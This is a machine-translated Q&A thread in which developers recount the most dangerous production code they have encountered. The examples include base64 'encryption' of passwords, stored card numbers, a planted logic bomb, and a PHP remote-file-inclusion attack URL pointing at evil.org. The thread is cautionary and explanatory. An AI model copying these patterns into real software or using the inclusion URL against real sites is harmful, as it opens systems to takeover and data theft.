您在生产企业环境中见过的最恶劣的代码是什么?

时间:2009-01-12 04:10:15

标签: anti-patterns

您在公司的生产环境中见过的最邪恶或最危险的代码片段是什么?我从未遇到过我认为故意恶意和邪恶的生产代码,所以我很想知道其他人发现了什么。

我见过的最危险的代码是一个存储过程,两个链接服务器远离我们的核心生产数据库服务器。存储过程接受任何NVARCHAR(8000)参数,并通过双跳sp_executeSQL命令在目标生产服务器上执行该参数。也就是说,sp_executeSQL命令执行另一个sp_executeSQL命令以跳转两个链接的服务器。哦,链接的服务器帐户在目标生产服务器上具有sysadmin权限。

37 个答案:

答案 0 :(得分:331)

答案 1 :(得分:70)

我见过像这样的密码加密函数

function EncryptPassword($password)
{
    return base64_encode($password);
}

答案 2 :(得分:69)

在使用信用卡付款的系统中,我们用来存储完整的信用卡号码以及姓名,到期日期等。

事实证明这是非法的,这是具有讽刺意味的,因为我们当时正在为司法部编写该计划。

答案 3 :(得分:30)

这是商业代码中的错误处理例程:

/* FIXME! */
while (TRUE)
    ;

我应该找出“应用程序一直锁定”的原因。

答案 4 :(得分:28)

在主项目头文件中,来自一位老手的COBOL程序员,他在M中编写了一个令人费解的编译器:

int i, j, k;

“因此,如果忘记声明循环变量,就不会出现编译器错误。”

答案 5 :(得分:28)

立即组合以下所有Php'功能'。

  1. 注册Globals
  2. 变量变量
  3. 通过include(“http:// ...”)包含远程文件和代码;
  4. 真正令人震惊的数组/变量名称(文字示例):

    foreach( $variablesarry as $variablearry ){
      include( $$variablearry ); 
    }
    

    (在我意识到他们 wer不

  5. 之前,我花了一个小时试图弄清楚它是如何工作的)

  6. 包含50个文件,每个文件包含50个文件,并且以条件和不可预测的方式在所有50个文件中线性/程序地执行填充。

  7. 对于那些不了解变量的人:

    $x = "hello"; 
    $$x = "world"; 
    print $hello # "world" ;
    

    现在考虑$ x包含来自你的URL的值(注册全局魔术),所以在你的代码中没有任何地方显而易见的是,你所使用的变量是由url决定的。

    现在考虑当该变量的内容可以是网站用户指定的网址时会发生什么。 是的,这可能对你没有意义,但它会创建一个名为url的变量,即:

    $http://google.com

    除了无法直接访问,你必须通过上面的双$技术使用它。

    此外,如果用户可以在URL上指定一个变量来指示要包含哪个文件,那么就会出现一些令人讨厌的技巧,例如

    http://foo.bar.com/baz.php?include=http://evil.org/evilcode.php

    如果该变量在include($include)

    中出现

    和'evilcode.php'打印它的代码明文,并且Php被不恰当地保护,php将会关闭,下载evilcode.php,并作为web服务器的用户执行它。

    web-sever将为其提供所有权限等,允许shell调用,下载任意二进制文件并运行它们等等,直到最终你想知道为什么你的盒子用完了磁盘空间,而且一个目录有8GB的带有意大利语配音的盗版电影,通过机器人在IRC上分享。

    我很感激我发现在运行攻击的脚本之前的暴行决定做一些非常危险的事情,比如从或多或少不安全的数据库中收集极其机密的信息:|

    (我可以每天使用该代码库来娱乐dailywtf 6个月,我没想到你。在我逃脱该代码后我发现了dailywtf只是一种耻辱)

答案 6 :(得分:25)

Windows安装程序。

答案 7 :(得分:20)

答案 8 :(得分:19)

我不知道我是否将代码称为“邪恶”,但我们有一个开发人员会创建Object[]数组而不是编写类。无处不在。

答案 9 :(得分:18)

我已经看到(并发布到thedailywtf)代码,该代码将使每个人在周二的应用程序的重要部分拥有管理员权限。我猜原始开发人员忘记在本地机器测试后删除代码。

答案 10 :(得分:16)

我不知道这是否是“邪恶的”,而不是被误导(我最近将它发布在The Old New Thing上):

我认识一个喜欢将信息存储为分隔字符串的人。他熟悉数组的概念,如他使用分隔字符串数组所示,但灯泡从未亮起。

答案 11 :(得分:15)

Base 36编码,用于在字符串中存储整数。

我想这个理论有点像:

  • 十六进制用于表示数字
  • 十六进制不使用F以外的字母,意味着G-Z被浪费
  • 浪费不好

此时我正在使用一个数据库,该数据库将事件发生的星期几存储为7位位域(0-127),作为2个字符的字符串存储在数据库中'0'到'3J'。

答案 12 :(得分:14)

我记得看到一个登录处理程序接受了一个post请求,并重定向到一个GET,其中用户名和密码作为参数传入。这是一个“企业级”医疗系统。

我在检查一些日志时注意到了这一点 - 我很想向CEO发送密码。

答案 13 :(得分:12)

真正邪恶的是这段精彩的德尔福代码:

type
  TMyClass = class
  private
    FField : Integer;
  public
    procedure DoSomething;
  end;

var
  myclass : TMyClass;


procedure TMyClass.DoSomething;
begin
  myclass.FField := xxx; // 
end;

如果只有一个类的实例,它的效果很好。但不幸的是,我不得不使用其他实例,并创建了许多有趣的错误。

当我发现这颗宝石时,我不记得我是否晕倒或尖叫,可能两者都是。

答案 14 :(得分:12)

也许不是邪恶,但肯定是,呃......被误导了。

我曾经不得不重写一个“自然语言解析器”,如果......那么声明就被实现为单个5,000行。

如......

if (text == "hello" || text == "hi")
    response = "hello";
else if (text == "goodbye")
    response = "bye";
else
    ...

答案 15 :(得分:11)

我在一个ASP.NET MVC网站上看到了一个人,他之前只做了一个网页表单(并且是一个着名的副本/贴纸!),它在<a>标签上粘贴了客户端点击事件执行document.location的javascript方法。

我尝试解释href标记上的<a>会做同样的事情!!!

答案 16 :(得分:10)

有点邪恶...我认识的人写进了主要的内部公司网络应用程序,每天检查他是否在过去10天内登录了系统。如果没有他登录的记录,则会为公司中的每个人禁用该应用程序。

一旦他听到有关裁员的谣言,他就写下了这篇文章,如果他下台,公司就不得不受苦。

我了解它的唯一原因是他度过了2个星期的假期。当网站被淘汰时我打电话给他。他告诉我用他的用户名/密码登录......一切都很好。

当然......几个月后我们都被解雇了。

答案 17 :(得分:8)

我的同事喜欢回忆一下使用public static数据库连接进行所有数据库工作的ASP.NET应用程序。

是的,所有请求都有一个连接。不,也没有锁定。

答案 18 :(得分:6)

我记得我必须设置IIS 3才能运行Perl CGI脚本(是的,这是一个很久以前的事情)。当时的官​​方建议是将Perl.exe放在cgi-bin中。它有效,但它也让每个人访问一个非常强大的脚本引擎!

答案 19 :(得分:5)

符合RFC 3514标准的程序,用于设置evil bit

答案 20 :(得分:5)

我们有一个应用程序在xml文件中加载了它的所有全局状态。没问题,除了开发人员已经创建了一种新形式的递归。

<settings>
  <property>
      <name>...</name>
      <value>...</value>
      <property>
          <name>...</name>
          <value>...</value>
          <property>
              <name>...</name>
              <value>...</value>
              <property>
                   <name>...</name>
                   <value>...</value>
                   <property>
                        <name>...</name>
                        <value>...</value>
                       <property>
                             <name>...</name>
                             <value>...</value>
                            <property>

然后是有趣的部分。当应用程序加载时,它会运行属性列表并将它们添加到全局(平面)列表中,同时递增一个神秘计数器。神秘计数器被命名为完全不相关的东西,用于神秘计算:

List properties = new List();
Node<-root
while node.hasNode("property")
    add to properties list
    my_global_variable++;
    if hasNode("property")
         node=getNode("property"), ... etc etc

然后你得到像

这样的功能
calculateSumOfCombinations(int x, int y){
   return x+y+my_global_variable;
}

编辑:澄清 - 我花了很长时间才弄清楚他是在计算递归的深度,因为在6级或7级属性改变了意义,所以他用计数器将他的平面组分成2组不同类型,有类似STATE,STATE,STATE,CITY,CITY,CITY的列表,并检查索引&gt;反击,看看你的名字是一个城市还是一个州)

答案 21 :(得分:5)

SQL查询在ASP应用程序中的javascript中。不能弄脏......

答案 22 :(得分:4)

不是为需要不断运行的服务器进程编写Windows服务,而是使用我们的“架构师”编写了一个控制台应用程序,并使用任务调度程序每隔60秒运行一次。

请记住,这是在.NET中,服务很容易创建。

-

此外,在同一个地方,控制台应用程序用于托管.NET远程服务,因此他们必须启动控制台应用程序并锁定会话以使其在每次重新启动服务器时都保持运行。

-

在我工作的最后一个地方,其中一位建筑师有一个单个 C#源代码文件,有100多个类,大小相当于250K。

答案 23 :(得分:3)

32个源代码文件,每个代码行超过10K行。每个包含一个类。每个类都包含一个执行“一切”的方法

在我不得不重构代码之前,这是贬低代码的真正噩梦。

答案 24 :(得分:3)

在较早的工作场所,我们继承了一个遗留项目,该项目部分早先已经过时。主应用程序是Java,外包部分是本机C库。有一次我看了C源文件。我列出了目录的内容。有几个源文件超过200K。最大的C文件 600 Kbytes

感谢上帝,我从来没有碰过它们: - )

答案 25 :(得分:3)

我获得了一系列计划,以便在同事出国时为客户安装(安装所述程序)。每个程序都出现了一个关键的库,并试图找出代码,我意识到从一个程序到下一个程序之间存在微小的差异。在一个公共图书馆。

意识到这一点,我对所有副本进行了文本比较。在16个中,我认为大约有9个独特的。我有点合适。

老板介入并让同事整理一个看似普遍的版本。他们通过电子邮件发送了代码。我不知道,那里有不可打印字符的字符串,以及一些混合编码。这封电子邮件非常糟糕。

不可打印的字符用于将数据(所有字符串!)从服务器发送到客户端。因此,所有字符串都由服务器端的0x03字符分隔,并使用Split函数在C#中重新组装客户端。

somwehat理智的方式应该做:

someVariable.Split(Convert.ToChar(0x03);

更安全和友好的方式是使用常数:

private const char StringSeparator = (char)0x03;
//...
someVariable.Split(StringSeparator);

EVIL方式是我的同事选择的:在Visual Studio中使用0x03的“打印”并将其放在引号之间:

someVariable.Split('/*unprintable character*/');

此外,在这个库(以及所有相关程序)中,没有一个变量是本地的(我检查了!)。功能被设计为一旦被认为可以安全地浪费它们就恢复相同的变量,或者创建在过程的所有持续时间内都能存活的新变量。我打印了几页并对它们进行了颜色编码。黄色意味着“全球化,永远不会被另一个功能所改变”,红色意味着“全球,由几个人改变”。格林本来就是“本地的”,但没有。

哦,我提到控制版了吗?因为当然没有。

ADD ON:我刚刚记得我不久前发现的一个功能。

它的目的是遍历一组数组的整数,并将每个第一个和最后一个项设置为0.它就像这样(不是实际的代码,来自内存,还有更多的C#-esque):

FixAllArrays()
{
    for (int idx = 0; idx < arrays.count- 1; idx++)
    {
        currArray = arrays[idx];
        nextArray = arrays[idx+1];
        SetFirstToZero(currArray);
        SetLastToZero(nextArray);

        //This is where the fun starts
        if (idx == 0)
        {
            SetLastToZero(currArray);
        }

        if (idx == arrays.count- 1)
        {
            SetFirstToZero(nextArray);
        }
    }
}

当然,重点是每个子阵列都必须在所有项目上完成这两项操作。我只是不确定程序员如何决定这样的事情。

答案 26 :(得分:2)

我很遗憾在半自定义数据库高可用性解决方案中找到了相当疯狂的行为。

核心部分并不起眼。红帽企业Linux,MySQL,DRBD和Linux-HA的东西。然而,配置是由完全定制的类似木偶的系统维护的(不出所料,此系统还有许多其他疯狂的例子)。

事实证明,系统正在检查Kickstart在根目录中留下的install.log文件,以获取创建DRBD配置所需的部分信息。当然,这本身就是邪恶的。您不从未实际定义格式的日志文件中提取配置。但情况会变得更糟。

它没有将这些数据存储在任何其他地方,每次运行时(每60秒),它都会查询install.log

我会让你猜到第一次有人决定删除这个无用的日志文件时发生的事情。

答案 27 :(得分:2)

在我加入的项目中发现的其他事情中,我发现了这块钻石:

newwin=parent.parent.window.opener.parent.parent.parent.frames['clear'].window.open('empty.htm');

答案 28 :(得分:2)

在我们的客户团队报告了一些奇怪的问题之后,我们注意到应用程序的两个不同版本指向同一个数据库。 (在向他们部署新系统时,他们的数据库已经升级,但是每个人都忘记了他们的旧系统)

这是一个奇迹般的逃脱..

从那时起,我们有一个自动构建和部署过程,谢天谢地: - )

答案 29 :(得分:2)

我认为这是一个程序,它将循环加载到pdp-10的通用寄存器中,然后在这些寄存器中执行代码。

你可以在pdp-10上做到这一点。这并不意味着你应该这样做。

编辑:至少这是我最好的(有时很破旧)的回忆。

答案 30 :(得分:2)

与上面提到的其他人类似:

我在一个在应用程序中使用伪脚本语言的地方工作。它提供了一个包含大约30个参数和巨大Select Case语句的大型方法。

现在是时候添加更多参数了,但团队中必须要做的人意识到已经有太多参数了。

他的解决方案?

他在最后添加了一个object参数,所以他可以传入任何他想要的东西然后再投射。

我无法以足够快的速度离开那个地方。

答案 31 :(得分:1)

有些人写了一个批处理程序来根据我的计算机上的模具侧生成随机数,我想我会分享它。

@echo off

set SIDES=6 

:start
set BUF=%random%
if %BUF% GTR %SIDES% (
goto start
)

echo %BUF%
pause

goto start

这项工作是否可以猜测它的速度有多慢......

答案 32 :(得分:0)

答案 33 :(得分:0)

从我们公司的Oracle软件包委托计算应用程序(在我从头开始重建之前)

CREATE OR REPLACE PACKAGE BODY Const AS
    FUNCTION Basisprov_offen
        RETURN INT
    IS
        BEGIN
            RETURN 4;
        END;

    FUNCTION Basisprov_offen_s
        RETURN VARCHAR
    IS
        BEGIN
            RETURN Const.Basisprov_offen || '';
        END;


/* ... a lot more creepy stuff ... */

END Const;

在同一个应用程序的不同包中

...
INSERT INTO Texpkorr
    SELECT
        Stammnummer,
        Nummer,
        Artikelnummer,
        GREATEST ( 0, Texp.Kommanditbetrag - NVL ( 0, 0 )) Kommanditbetrag,
        GREATEST ( 0, Texp.Bareinlagebetrag - NVL ( 0, 0 )) Bareinlagebetrag,
        GREATEST ( 0, Texp.Provisionohneagio - NVL ( 0, 0)) Provisionohneagio,
        GREATEST ( 0, Texp.Provisionmitagio - NVL ( 0, 0 )) Provisionmitagio,
        GREATEST ( 0, Texp.Agionachlass - NVL ( 0, 0 )) Agionachlass,
        Exportart
   FROM Provaltbv, Texp
...

答案 34 :(得分:0)

我曾与印度开发人员撰写类似的东西。巨大的主要形式,全球变量等等。幸运的是,经过大量努力,我的老板能够大大减少这种混乱。但仍然,我讨厌使用这个应用程序。不幸的是,它是数学应用程序,其中一些印度人擅长数学,所以我们必须修复应用程序,而不是重写它。

对我来说,最糟糕的部分是Visual Studio + ReSharper在20000行的形式上令人难以置信的缓慢。如果关闭ReSharper,它是可管理的,但你不能那么快地重构这个狗屎。

答案 35 :(得分:0)

我曾与之合作的人写了一个MS Access应用程序,该应用程序链接到大约10个处理财富500强公司工资单的其他访问数据库。最后一次检查,那里有大约70,000名员工,它仍然在使用......

代码中的错误检查很少,看起来很讨厌,更糟糕的是排除故障。我们继续最大化访问数据库,所以我们必须每隔几个月清理一次。

是的,我知道这不是代码段。只有MS Access,工资单和财富500强的3个事实构成了邪恶。非常邪恶。我希望我在开玩笑。

答案 36 :(得分:0)

多年前,我加入了一家多公司忠诚奖励公司,这些公司已经达到了生产水平。什么应该是一个快速评估&amp;了解这个商业,结果露出了&amp;领导一些混乱的关键修复:

  • 2在全国各地的信息亭中建立的第三方应用程序(它在智能卡和在线平衡上运行):
    • 失去平衡不难获得条件
    • 可以被利用来获得任意数量的免费余额
  • 我不知道是谁开发的点x年到期年度流程:
    • 在几个条件下 错误地在至少30%的用户身上丢失了大量的余额 ...最糟糕的是,备份程序&amp;在我发现
    • 之前,任何其他基于交易的恢复痕迹都是蹩脚的

请记住,即使这些是奖励积分,这是金钱你可以花在几乎任何东西上:食物,电影院,航班,药店,仅举几例。